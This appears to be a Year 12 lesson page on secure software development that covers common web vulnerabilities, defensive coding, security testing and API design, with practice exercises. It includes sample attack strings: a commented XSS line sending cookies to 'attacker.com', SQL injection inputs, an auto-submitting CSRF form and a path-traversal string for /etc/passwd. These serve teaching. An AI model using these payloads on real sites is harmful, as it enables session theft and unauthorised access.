Lesson 5: Secure Software Architecture II

Vulnerabilities & Testing - Building Defense in Depth

Year 12 Content High Exam Priority Duration: 60 minutes Theory Lesson

πŸ“š Lesson Overview

Welcome to Lesson 5! In Lesson 4, we learned about the CIA Triad (Confidentiality, Integrity, Availability), the AAA model (Authentication, Authorization, Accountability), and the principles of Security by Design.

Today, we're diving into the practical side of secure software development. You'll learn about the most common vulnerabilities that hackers exploit, how to defend against them, and how to test your software to ensure it's secure.

Golden Rule of Secure Programming:

NEVER TRUST USER INPUT

Every piece of data that comes from outside your system (user input, external APIs, database queries) should be treated as potentially dangerous until proven safe. This single principle prevents the majority of security vulnerabilities.

Learning Objectives

By the end of this lesson, you will be able to:

🚨 Part 1: Common Software Vulnerabilities

Understanding vulnerabilities is the first step to preventing them. Let's explore the most common security flaws that appear in software systemsβ€”many of which you'll see in HSC exam questions!

1. SQL Injection

SQL Injection occurs when an attacker inserts malicious SQL code into an input field, allowing them to manipulate or access the database directly.

πŸ“– Real-World Example: SQL Injection Attack

Scenario: A login form asks for a username and password.

Vulnerable Code:

Vulnerable SQL Query (DANGEROUS)
# User enters: admin' OR '1'='1
username = input("Enter username: ")
password = input("Enter password: ")

# Building SQL query by concatenating strings (BAD!)
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"

# The resulting query becomes:
# SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
# This ALWAYS returns true because '1'='1' is always true!

Result: The attacker bypasses authentication and gains access to the admin account without knowing the password.

🎯 Interactive Demo: Try SQL Injection Yourself!

Below you'll see two servers - one vulnerable and one secure. Try entering ' OR 1=1;-- in both to see the difference!

🚨 VULNERABLE SERVER

Try entering: ' OR 1=1;--

Enter a user ID above to test...
Actual SQL Query Built: SELECT * FROM users WHERE id = ''

βœ… SECURE SERVER (PATCHED)

Try the same input here:

Enter a user ID above to test...
Parameterized Query Used: SELECT * FROM users WHERE id = ?
Parameter: ""
Defense Against SQL Injection:
  • Use parameterized queries/prepared statements (placeholders instead of concatenation)
  • Input validation: Check that inputs match expected format (e.g., numbers only for user IDs)
  • Escape special characters in user input
  • Use ORM libraries (Object-Relational Mapping) that handle SQL safely
  • Principle of Least Privilege: Database accounts should only have necessary permissions

2. Cross-Site Scripting (XSS)

XSS occurs when an attacker injects malicious JavaScript code into a webpage that other users will view. The script runs in the victim's browser, potentially stealing cookies, session tokens, or redirecting to phishing sites.

πŸ“– Real-World Example: XSS Attack

Scenario: A comment section on a blog accepts user comments and displays them.

Vulnerable Code:

Vulnerable Comment Display (DANGEROUS)
# User submits: <script>alert('Hacked!')</script>
user_comment = get_user_input()

# Directly displaying user input without sanitization (BAD!)
display_html = "<div>" + user_comment + "</div>"

# The browser executes the script tag, showing an alert
# Worse: attacker could steal cookies with:
# <script>document.location='http://attacker.com?cookie='+document.cookie</script>

Result: When other users view the comment, the malicious script executes in their browser, potentially stealing their login credentials.

🎯 Interactive Demo: Try XSS Attack Yourself!

Try posting: <script>alert('Hacked!')</script> in both forums below to see the difference!

For a visual demo, try: <script>document.body.style.transform = 'rotate(180deg)';</script>

🚨 VULNERABLE FORUM

Post anything - including HTML/JavaScript:

Your comment will appear here...
HTML Generated: <div class="comment">
  [Your input will appear here]
</div>

βœ… SECURE FORUM (PATCHED)

Try the same input here:

Your comment will appear here...
Output Encoded HTML: <div class="comment">
  [Your input will appear here]
</div>
Defense Against XSS:
  • HTML encoding/escaping: Convert special characters (< > " ' &) to HTML entities
  • Input validation: Reject inputs containing script tags or suspicious patterns
  • Content Security Policy (CSP): HTTP header that restricts which scripts can run
  • Use secure frameworks: Modern frameworks (React, Angular) automatically escape output
  • HTTPOnly cookies: Prevents JavaScript from accessing session cookies

3. Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated user into executing unwanted actions on a web application where they're currently logged in. The attack exploits the trust that a website has in the user's browser.

πŸ“– Real-World Example: CSRF Attack

Scenario: You're logged into your bank account in one browser tab.

Attack: In another tab, you visit a malicious website that contains:

Malicious HTML on Attacker's Website
<!-- Hidden form that auto-submits -->
<form action="https://yourbank.com/transfer" method="POST" id="hack">
    <input type="hidden" name="to_account" value="attacker_account">
    <input type="hidden" name="amount" value="10000">
</form>
<script>
    document.getElementById('hack').submit();
</script>

Result: Because you're already logged in to the bank, your browser automatically includes your authentication cookies with the request. Money is transferred to the attacker without your knowledge.

Defense Against CSRF:
  • CSRF tokens: Include a unique, unpredictable token with each form submission
  • SameSite cookie attribute: Prevents browsers from sending cookies with cross-site requests
  • Double submit cookies: Verify that cookie value matches form field value
  • Check Referer/Origin headers: Verify requests come from your own site
  • Require re-authentication: For sensitive actions (transfers, password changes)

4. Broken Authentication & Session Management

Authentication flaws allow attackers to compromise passwords, session tokens, or exploit implementation bugs to assume other users' identities.

πŸ“– Common Authentication Vulnerabilities
  • Weak password requirements: Allowing "password123" or short passwords
  • Storing passwords in plain text: If database is breached, all passwords are exposed
  • Predictable session IDs: Using sequential numbers (session_1, session_2, session_3...)
  • Session fixation: Reusing the same session ID before and after login
  • No session timeout: Sessions never expire, even after logout
  • Exposing session IDs in URLs: http://site.com/page?session=abc123 (can be logged or shared)
Secure Authentication Practices:
  • Hash passwords with salt: Use bcrypt, scrypt, or Argon2 (NOT MD5 or SHA-1)
  • Implement multi-factor authentication (MFA): Something you know + something you have
  • Generate cryptographically random session IDs: Long, unpredictable tokens
  • Regenerate session ID after login: Prevent session fixation attacks
  • Set session timeouts: Automatic logout after inactivity
  • Use HTTPS only: Prevent session hijacking via network sniffing
  • Implement account lockout: After multiple failed login attempts

5. Race Conditions

A race condition occurs when two or more processes access shared data simultaneously, and the final result depends on the timing of their execution.

πŸ“– Real-World Example: Race Condition

Scenario: Bank account with $100. Two withdrawal requests of $80 are made simultaneously.

Vulnerable Code (Race Condition)
# Process 1 and Process 2 both execute at the same time
def withdraw(amount):
    balance = get_balance()  # Both read: balance = 100
    if balance >= amount:    # Both check: 100 >= 80 βœ“
        new_balance = balance - amount  # Process 1: 100-80=20, Process 2: 100-80=20
        set_balance(new_balance)        # Both write their result
        return True
    return False

# Result: Account shows $20, but $160 was withdrawn! (-$60 overdraft)

Result: The account is overdrawn because both processes checked the balance before either one updated it.

Defense Against Race Conditions:
  • Database transactions: Atomic operations (all-or-nothing)
  • Locking mechanisms: Prevent concurrent access to shared resources
  • Optimistic locking: Check if data changed before committing
  • Pessimistic locking: Lock data during the entire operation
  • Thread-safe data structures: Use built-in synchronized collections

6. Buffer Overflow

A buffer overflow occurs when a program writes more data to a memory buffer than it can hold, causing the excess data to overflow into adjacent memory locations. This can corrupt data, crash the program, or allow attackers to execute malicious code.

πŸ“– Real-World Example: Buffer Overflow Attack

Scenario: A game allows players to enter their character name (max 16 characters).

Vulnerable Code (C/C++):

Vulnerable Buffer Code (DANGEROUS)
# Simplified example (actual buffer overflow is common in C/C++)
char username[16];  # Allocates exactly 16 bytes in memory
gets(username);     # Reads user input WITHOUT checking length!

# Memory Layout:
# [username buffer: 16 bytes][return address][other data]

# Attacker enters 100 characters:
# The first 16 fill the buffer
# Characters 17-20 overwrite the return address
# The program now jumps to attacker's malicious code!

Result: The attacker crafts input that overwrites the return address in memory, redirecting program execution to malicious code they've injected.

Why Buffer Overflow is Dangerous:
  • Memory corruption: Overwrites critical program data
  • Code execution: Attackers can inject and run their own code
  • Privilege escalation: Can gain admin/root access to systems
  • Hard to detect: May not cause immediate crashes, making exploitation subtle
Defense Against Buffer Overflow:
  • Use memory-safe languages: Python, Java, Rust automatically check array bounds
  • Input validation: Check length before copying to buffer
  • Safe functions: Use strncpy() instead of strcpy(), fgets() instead of gets()
  • Compiler protections: Stack canaries, Address Space Layout Randomization (ASLR)
  • Bounds checking: Always verify array/buffer indices are within valid range
Why Modern Languages Are Safer:

Languages like Python and Java automatically manage memory and check array bounds. When you try to access array[100] in an array with only 10 elements, they throw an IndexError instead of allowing memory corruption. This is why they're preferred for security-critical applications!

C/C++ gives you direct memory access (fast but dangerous), while Python/Java sacrifice a tiny bit of speed for safety. The trade-off is almost always worth it for security.

7. Other Important Vulnerabilities

Vulnerability Description Example Attack Defense
Invalid Forwarding & Redirecting Unvalidated redirects send users to malicious sites site.com/redirect?url=evil.com redirects to phishing site Whitelist allowed redirect URLs; avoid user-controlled redirects
File Upload Attacks Uploading malicious files (executable scripts, viruses) Upload "image.php" instead of "image.jpg", then execute it Validate file type, rename files, store outside web root, scan for malware
Side-Channel Attacks Extract information by analyzing system behavior (timing, power consumption) Measure password check timing to guess password length Constant-time operations, avoid early returns in security checks
Directory Traversal Access files outside intended directory using ../ sequences file=../../../../etc/passwd accesses system password file Sanitize file paths, use whitelists, check for ../ patterns

πŸ›‘οΈ Part 2: Defensive Programming Practices

Defensive programming is the practice of writing code that anticipates and handles potential errors, misuse, and malicious input. It's about assuming the worst and coding accordingly.

1. Input Validation

Input validation is the process of checking that user input meets specific criteria before processing it.

πŸ“– Input Validation Strategies

Whitelist Approach (PREFERRED): Only allow known-good inputs

Whitelist Validation Example
def validate_age(age):
    # Only accept values that ARE valid
    if not age.isdigit():
        return False, "Age must be a number"

    age_int = int(age)
    if age_int < 0 or age_int > 150:
        return False, "Age must be between 0 and 150"

    return True, age_int

# Usage
is_valid, result = validate_age(user_input)
if is_valid:
    process_age(result)
else:
    print(f"Error: {result}")

Blacklist Approach (LESS SECURE): Block known-bad inputs

Blacklist Validation Example (Not Recommended)
def validate_username(username):
    # Trying to block bad characters (incomplete, can be bypassed)
    forbidden = ['<', '>', '&', '"', "'", ';', '--']

    for char in forbidden:
        if char in username:
            return False

    return True

# Problem: Attackers can find characters you forgot to block!

Why Whitelist is Better: You can't anticipate all possible malicious inputs, but you can define exactly what valid input looks like.

Validation Checklist:
  • Type: Is it the right data type? (number, string, boolean)
  • Length: Is it within acceptable length limits?
  • Format: Does it match expected pattern? (email, phone, date)
  • Range: Is the value within acceptable bounds?
  • Presence: Are required fields filled in?

2. Input Sanitization

Sanitization is the process of cleaning user input by removing or escaping potentially dangerous characters.

πŸ“– Sanitization Techniques
HTML Sanitization Example
import html

def sanitize_html(user_input):
    # Escape HTML special characters
    # < becomes &lt;
    # > becomes &gt;
    # & becomes &amp;
    return html.escape(user_input)

# Example
malicious_input = "<script>alert('XSS')</script>"
safe_output = sanitize_html(malicious_input)
# Result: &lt;script&gt;alert('XSS')&lt;/script&gt;
# Browser displays as text, doesn't execute script
SQL Sanitization (Use Parameterized Queries Instead!)
import re

def sanitize_sql_input(user_input):
    # Remove dangerous SQL keywords (NOT FOOLPROOF!)
    dangerous_keywords = ['DROP', 'DELETE', 'INSERT', 'UPDATE', '--', ';']

    for keyword in dangerous_keywords:
        user_input = user_input.replace(keyword, '')

    return user_input

# BETTER APPROACH: Use parameterized queries
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

3. Error Handling

Proper error handling prevents your application from crashing and avoids revealing sensitive information about your system to attackers.

❌ INSECURE ERROR HANDLING
# Exposing sensitive info
try:
    db.execute(query)
except Exception as e:
    # Shows database structure!
    print(f"Error: {str(e)}")
    # "Table 'users' at line 5..."
βœ… SECURE ERROR HANDLING
# Generic error message
try:
    db.execute(query)
except Exception as e:
    # Log details for developers
    log_error(str(e))
    # Show generic message
    return "An error occurred"
Secure Error Handling Principles:
  • Generic error messages for users: Don't reveal system details
  • Detailed logging for developers: Record errors for debugging (in secure logs)
  • Fail securely: If error occurs during authentication, deny access (don't default to allowing)
  • Graceful degradation: Application should continue functioning even when errors occur

4. Memory, Session, and Exception Management

πŸ“– Security Considerations for Resource Management

Memory Management

  • Buffer overflows: Writing data beyond allocated memory (see detailed coverage above in section 6)
  • Memory leaks: Not releasing unused memory, causing system slowdown or Denial of Service
  • Use-after-free: Accessing memory that has already been freed, causing unpredictable behavior
  • Defense: Use memory-safe languages (Python, Java, Rust), bounds checking, automated garbage collection, smart pointers

Session Management

  • Secure session creation: Generate cryptographically random session IDs
  • Session expiration: Implement idle timeout (e.g., 15 minutes) and absolute timeout (e.g., 8 hours)
  • Session invalidation: Destroy session completely on logout
  • Secure storage: Store session data server-side, not in cookies

Exception Management

  • Catch specific exceptions: Handle different error types appropriately
  • Don't suppress exceptions silently: Always log or handle them
  • Clean up resources: Close database connections, file handles even when exceptions occur (use try-finally or context managers)

πŸ” Part 3: Security Testing Strategies

Security testing is the process of identifying vulnerabilities in your software before attackers do. Let's explore the main approaches.

1. SAST vs DAST

Aspect SAST (Static Application Security Testing) DAST (Dynamic Application Security Testing)
What is it? Analyzing source code without running the program Testing the running application by simulating attacks
When? During development (early in SDLC) After deployment or in testing environment
How? "White-box" - examines code, data flow, logic "Black-box" - tests like an external attacker
Finds SQL injection patterns, hardcoded passwords, buffer overflows XSS vulnerabilities, authentication flaws, configuration issues
Advantages Find issues early; precise location in code; no need for running app Find runtime issues; test actual behavior; no source code needed
Disadvantages False positives; can't detect runtime issues; requires source code access Can't test all code paths; finds issues late; doesn't show exact code location
Tools SonarQube, Checkmarx, Fortify OWASP ZAP, Burp Suite, Acunetix
Best Practice: Use Both!

SAST and DAST are complementary, not competing approaches. Use SAST during development to catch issues early, then use DAST before release to verify security in the running application.

2. Code Review

Code review is the manual process of having developers examine each other's code for bugs, security flaws, and adherence to best practices.

πŸ“– Security-Focused Code Review Checklist
  • βœ“ Are all user inputs validated and sanitized?
  • βœ“ Are SQL queries using parameterized statements?
  • βœ“ Are passwords being hashed (not stored in plain text)?
  • βœ“ Are error messages generic (not revealing system details)?
  • βœ“ Are session IDs generated securely?
  • βœ“ Are authentication and authorization checks present?
  • βœ“ Are sensitive operations logged for auditing?
  • βœ“ Are there any hardcoded credentials or API keys?
  • βœ“ Is HTTPS used for all sensitive communications?
  • βœ“ Are file uploads restricted and validated?

3. Vulnerability Assessment

A vulnerability assessment is a systematic review of security weaknesses in a system. It identifies, quantifies, and prioritizes vulnerabilities.

πŸ“– Vulnerability Assessment Process
  1. Asset Identification: What needs to be protected? (databases, user data, APIs)
  2. Vulnerability Scanning: Automated tools scan for known vulnerabilities
  3. Manual Testing: Security experts look for complex vulnerabilities tools might miss
  4. Risk Assessment: Evaluate likelihood and impact of each vulnerability
  5. Prioritization: Rank vulnerabilities (Critical, High, Medium, Low)
  6. Remediation Planning: Create action plan to fix vulnerabilities
  7. Reporting: Document findings and recommendations

CVSS (Common Vulnerability Scoring System)

Industry standard for rating vulnerability severity on a scale of 0-10:

  • 0.0: None
  • 0.1-3.9: Low
  • 4.0-6.9: Medium
  • 7.0-8.9: High
  • 9.0-10.0: Critical

4. Penetration Testing

Penetration testing (pen testing) is an authorized simulated attack on a system to identify security weaknesses that could be exploited by attackers.

πŸ“– Penetration Testing Phases
  1. Planning & Reconnaissance:
    • Define scope and goals
    • Gather intelligence (domain names, network ranges, email addresses)
  2. Scanning:
    • Identify open ports and services
    • Detect operating systems and applications
    • Tools: Nmap, Nessus
  3. Gaining Access:
    • Exploit vulnerabilities (SQL injection, XSS, etc.)
    • Attempt to escalate privileges
  4. Maintaining Access:
    • Test if attacker could maintain persistent access
    • Install backdoors (in controlled environment)
  5. Analysis & Reporting:
    • Document all vulnerabilities found
    • Provide remediation recommendations
    • Create executive summary and technical report
Legal Warning:

Penetration testing must ALWAYS be authorized in writing by the system owner. Unauthorized penetration testing is illegal and considered hacking, even if your intentions are good. Always get explicit permission before testing security.

Types of Penetration Testing

Type Knowledge Level Description Use Case
Black Box No prior knowledge Tester knows nothing about the system (simulates external attacker) Test external defenses; most realistic attack scenario
White Box Full knowledge Tester has complete access to source code, architecture, credentials Comprehensive security audit; find deep vulnerabilities
Grey Box Partial knowledge Tester has some information (e.g., user account but not admin) Simulates insider threat; test internal security

πŸ”§ Part 4: Testing Security & Resilience

1. System Hardening

System hardening is the process of reducing vulnerabilities by removing unnecessary services, limiting access, and configuring systems securely.

πŸ“– System Hardening Techniques

Operating System Hardening

  • Remove unnecessary software and services
  • Disable unused network ports
  • Apply security patches and updates regularly
  • Configure firewalls to allow only necessary traffic
  • Use strong password policies and account lockouts

Application Hardening

  • Run applications with least privilege (minimal permissions)
  • Disable debug modes in production
  • Remove default accounts and passwords
  • Configure secure defaults (HTTPS, secure cookies)
  • Implement rate limiting and throttling

Network Hardening

  • Segment networks (separate public and internal networks)
  • Implement intrusion detection/prevention systems (IDS/IPS)
  • Use VPNs for remote access
  • Encrypt network traffic (TLS/SSL)
  • Monitor network logs for suspicious activity

2. Breach Handling

A security breach response plan defines how to respond when a security incident occurs. Time is criticalβ€”every minute counts.

πŸ“– Incident Response Process
  1. Preparation:
    • Create incident response team with defined roles
    • Develop and test response procedures
    • Set up monitoring and alerting systems
  2. Detection & Analysis:
    • Identify that a breach has occurred
    • Determine scope and severity
    • Gather evidence (preserve logs, memory dumps)
  3. Containment:
    • Short-term: Isolate affected systems (disconnect from network)
    • Long-term: Apply patches, change credentials, block attacker IPs
  4. Eradication:
    • Remove malware and backdoors
    • Close exploited vulnerabilities
    • Verify attacker has no remaining access
  5. Recovery:
    • Restore systems from clean backups
    • Gradually bring systems back online
    • Monitor for signs of attacker return
  6. Lessons Learned:
    • Conduct post-incident review
    • Document what happened and how it was handled
    • Update security measures to prevent recurrence
Legal & Regulatory Requirements:

Many jurisdictions require organizations to notify affected individuals and authorities when a data breach occurs. For example, GDPR (Europe) requires notification within 72 hours. Failure to comply can result in severe fines.

3. Business Continuity & Disaster Recovery

Ensuring that critical business functions can continue during and after a security incident or disaster.

Concept Definition Key Metrics
Business Continuity Planning (BCP) Comprehensive plan to maintain operations during disruptions Identifies critical processes and resources needed to continue business
Disaster Recovery (DR) Specific procedures to recover IT systems after a disaster Focuses on restoring technology infrastructure and data
RTO (Recovery Time Objective) Maximum acceptable downtime for a system Example: "Database must be restored within 4 hours"
RPO (Recovery Point Objective) Maximum acceptable data loss measured in time Example: "Can afford to lose up to 1 hour of data"
πŸ“– Disaster Recovery Strategies
  • Regular backups: Automated daily/hourly backups stored offsite
  • 3-2-1 Backup Rule: 3 copies of data, on 2 different media, with 1 offsite
  • Redundancy: Duplicate critical systems and data across multiple locations
  • Failover systems: Automatic switching to backup systems if primary fails
  • Cloud-based DR: Use cloud services for quick recovery and scalability
  • Regular testing: Practice recovery procedures (don't wait for real disaster to discover they don't work!)

πŸ”Œ Part 5: Designing Safe APIs

What is an API?

An API (Application Programming Interface) is a set of rules and protocols that allows different software applications to communicate with each other. Think of it as a waiter in a restaurant:

πŸ“– The Restaurant Analogy

You (the customer) want food, but you can't go into the kitchen and cook it yourself.

The kitchen (the server) has all the ingredients and chefs who can prepare meals.

The waiter (the API) takes your order, communicates it to the kitchen, and brings back your food.

  • You don't need to know how the kitchen works internally
  • The waiter has a menu (API documentation) showing what you can order
  • You make a request (order a burger) and get a response (receive the burger)
  • The kitchen is protected - you can't access it directly, only through the waiter

Real-World API Examples

🌐 APIs You Use Every Day

1. Weather App on Your Phone

  • Your app doesn't have weather data stored locally
  • It sends a request to a weather API: "What's the weather in Sydney?"
  • The API responds with: "Temperature: 24Β°C, Sunny"
  • Your app displays this nicely on your screen

2. Google Maps Integration

  • Uber doesn't build its own mapping system
  • It uses Google Maps API to show maps and routes
  • Uber sends: "Show route from Point A to Point B"
  • Google Maps API returns the route data

3. Social Media Login

  • You click "Sign in with Google" on a website
  • The website uses Google's Authentication API
  • Google verifies your identity and sends back: "Yes, this is John Doe"
  • The website logs you in without storing your Google password

How APIs Work: Request and Response

Example: Simple API Request
# CLIENT SIDE: Your application makes a request
import requests

# Request: "Get me information about user with ID 123"
response = requests.get("https://api.example.com/users/123")

# Response: The API sends back user data
user_data = response.json()
# {
#     "id": 123,
#     "name": "John Doe",
#     "email": "john@example.com"
# }

print(f"User name: {user_data['name']}")
Key Characteristics of APIs:
  • Standardized communication: Both sides agree on format (usually JSON or XML)
  • Language-independent: Python app can talk to Java server via API
  • Abstraction: You don't need to know how the server works internally
  • Reusability: Multiple apps can use the same API (Google Maps API used by Uber, Deliveroo, etc.)

Common API Methods (HTTP Verbs)

Method Purpose Example Real-World Analogy
GET Retrieve data GET /users/123 Reading a book from the library
POST Create new data POST /users Adding a new book to the library
PUT Update existing data PUT /users/123 Editing a book's information
DELETE Remove data DELETE /users/123 Removing a book from the library
Why API Security Matters:

Because APIs expose your application's functionality to the outside world, they become a prime target for attackers. If an API isn't secured properly, attackers can:

  • Access data they shouldn't see (broken authorization)
  • Overload your system with requests (no rate limiting)
  • Inject malicious code (SQL injection, XSS through API parameters)
  • Steal sensitive information exposed in API responses

That's why the rest of this section focuses on securing APIs!

Common API Security Risks

πŸ“– OWASP API Security Top 10
  1. Broken Object Level Authorization: User can access objects they shouldn't (e.g., viewing another user's order)
  2. Broken User Authentication: Weak authentication allows unauthorized access
  3. Excessive Data Exposure: API returns more data than necessary (e.g., including passwords in user profile response)
  4. Lack of Resources & Rate Limiting: No protection against DoS attacks or abuse
  5. Broken Function Level Authorization: Users can access admin functions they shouldn't
  6. Mass Assignment: Allowing users to modify object properties they shouldn't (e.g., setting admin=true)
  7. Security Misconfiguration: Default credentials, verbose errors, unnecessary features enabled
  8. Injection: SQL, XSS, command injection through API parameters
  9. Improper Assets Management: Outdated API versions still accessible, undocumented endpoints
  10. Insufficient Logging & Monitoring: Can't detect or investigate attacks

API Security Best Practices

πŸ“– Secure API Design Principles

1. Authentication & Authorization

Example: Token-Based Authentication
# Client sends credentials
POST /api/login
{
    "username": "user@example.com",
    "password": "securePassword123"
}

# Server responds with JWT (JSON Web Token)
{
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "expires_in": 3600
}

# Client includes token in subsequent requests
GET /api/user/profile
Headers:
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

2. Rate Limiting

Example: Rate Limiting Implementation
from time import time

class RateLimiter:
    def __init__(self, max_requests=100, time_window=60):
        self.max_requests = max_requests  # 100 requests
        self.time_window = time_window    # per 60 seconds
        self.requests = {}  # {user_id: [timestamp1, timestamp2, ...]}

    def is_allowed(self, user_id):
        now = time()

        # Clean old requests outside time window
        if user_id in self.requests:
            self.requests[user_id] = [
                req_time for req_time in self.requests[user_id]
                if now - req_time < self.time_window
            ]
        else:
            self.requests[user_id] = []

        # Check if under limit
        if len(self.requests[user_id]) < self.max_requests:
            self.requests[user_id].append(now)
            return True

        return False  # Rate limit exceeded

3. Input Validation

Example: API Input Validation
from typing import Optional
from pydantic import BaseModel, EmailStr, constr, validator

class UserRegistration(BaseModel):
    email: EmailStr  # Automatically validates email format
    username: constr(min_length=3, max_length=20)  # String with length constraints
    age: int

    @validator('age')
    def validate_age(cls, value):
        if value < 13 or value > 120:
            raise ValueError('Age must be between 13 and 120')
        return value

# Usage
@app.post("/api/register")
def register_user(user: UserRegistration):
    # If validation fails, automatic 422 error returned
    # If successful, user data is guaranteed to be valid
    create_user(user.email, user.username, user.age)

4. Minimize Data Exposure

❌ EXCESSIVE DATA
# Returns EVERYTHING
{
    "user_id": 123,
    "email": "user@example.com",
    "password_hash": "...",
    "ssn": "123-45-6789",
    "api_key": "secret123"
}
βœ… MINIMAL DATA
# Returns only what's needed
{
    "user_id": 123,
    "email": "user@example.com",
    "username": "john_doe"
}

5. HTTPS Only

Always use HTTPS to encrypt data in transit. Never send sensitive data over HTTP.

6. Logging & Monitoring

Example: Security Event Logging
import logging

security_logger = logging.getLogger('security')

def log_security_event(event_type, user_id, details):
    security_logger.warning(
        f"[SECURITY] {event_type} | User: {user_id} | {details}"
    )

# Usage examples
log_security_event("FAILED_LOGIN", user_id, "5 consecutive failures")
log_security_event("SUSPICIOUS_ACTIVITY", user_id, "Accessed 100 records in 1 second")
log_security_event("AUTHORIZATION_VIOLATION", user_id, "Attempted to access admin panel")

πŸ“ Summary & Key Takeaways

The Three Pillars of Secure Coding:
  • NEVER TRUST USER INPUT: Validate, sanitize, and escape everything
  • DEFENSE IN DEPTH: Multiple layers of security (if one fails, others protect)
  • SECURE BY DEFAULT: Make the secure choice the easy choice; fail securely

Common Vulnerabilities Recap

Vulnerability Attack Vector Primary Defense
SQL Injection Malicious SQL in user input Parameterized queries
XSS (Cross-Site Scripting) Malicious JavaScript in user input HTML escaping/encoding
CSRF (Cross-Site Request Forgery) Unauthorized commands from trusted user CSRF tokens, SameSite cookies
Broken Authentication Weak passwords, session hijacking Password hashing, MFA, secure sessions
Race Conditions Concurrent access to shared data Database transactions, locking
Buffer Overflow Exceeding allocated memory boundaries Memory-safe languages, bounds checking

Security Testing Approach

  1. SAST during development: Catch issues in code before deployment
  2. Code review: Manual inspection by security-aware developers
  3. DAST before release: Test running application for vulnerabilities
  4. Vulnerability assessment: Systematic identification and prioritization
  5. Penetration testing: Simulate real attacks to find weaknesses
  6. Continuous monitoring: Detect and respond to threats in production

Exam Preparation Tips

πŸ’ͺ Practice Exercises

Exercise 1: Identify the Vulnerability

For each code snippet, identify the vulnerability and suggest a fix:

Code Snippet A
user_id = request.get('id')
query = f"DELETE FROM users WHERE id = {user_id}"
database.execute(query)

Vulnerability: SQL Injection - using f-strings to build SQL queries

Fix: Use parameterized query: database.execute("DELETE FROM users WHERE id = ?", (user_id,))

Code Snippet B
comment = request.get('comment')
html = f"<div class='comment'>{comment}</div>"
return html

Vulnerability: XSS - directly inserting user input into HTML

Fix: Escape HTML: html.escape(comment) or use textContent in JavaScript

Code Snippet C
password = request.get('password')
database.save_password(username, password)  # Stored as plain text

Vulnerability: Storing passwords in plain text

Fix: Hash passwords: hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())

Exercise 2: Security Testing Scenarios

For each scenario, recommend the most appropriate testing approach (SAST, DAST, Code Review, Penetration Testing, or Vulnerability Assessment):

  1. Scenario: Development team wants to check for hardcoded API keys in source code before committing changes.
    Answer: SAST - analyzes source code for security issues like hardcoded credentials
  2. Scenario: Company wants to know if their public-facing website is vulnerable to XSS attacks.
    Answer: DAST or Penetration Testing - tests the running application from an attacker's perspective
  3. Scenario: Junior developer wrote authentication code and senior developer needs to verify it follows security best practices.
    Answer: Code Review - manual inspection by experienced developer
  4. Scenario: Organization wants a comprehensive report of all security weaknesses ranked by severity.
    Answer: Vulnerability Assessment - systematic identification and prioritization of vulnerabilities
Exercise 3: Design a Secure API Endpoint

Task: Design a secure API endpoint for updating user email addresses. Consider:

  • Authentication (how do we know who the user is?)
  • Authorization (can this user update this email?)
  • Input validation (is the email valid?)
  • Rate limiting (prevent abuse)
  • Logging (audit trail)

Sample Secure Implementation:

Secure API Endpoint Design
from pydantic import BaseModel, EmailStr

class UpdateEmailRequest(BaseModel):
    new_email: EmailStr  # Validates email format

@app.put("/api/user/email")
@require_authentication  # Decorator ensures user is logged in
@rate_limit(max_requests=5, window=3600)  # Max 5 requests per hour
def update_email(request: UpdateEmailRequest, current_user: User):
    # Authorization: users can only update their own email
    # (current_user comes from authentication token)

    # Input validation (automatic via Pydantic)
    new_email = request.new_email

    # Check if email already exists
    if email_exists(new_email):
        log_security_event("EMAIL_UPDATE_FAILED", current_user.id, "Email already in use")
        return {"error": "Email already registered"}, 400

    # Update email
    old_email = current_user.email
    current_user.email = new_email
    database.save(current_user)

    # Logging for audit trail
    log_security_event("EMAIL_UPDATED", current_user.id, f"Changed from {old_email}")

    # Send confirmation emails to both old and new addresses
    send_confirmation_email(old_email, "Your email was changed")
    send_confirmation_email(new_email, "Please verify your new email")

    return {"success": True, "message": "Email updated"}, 200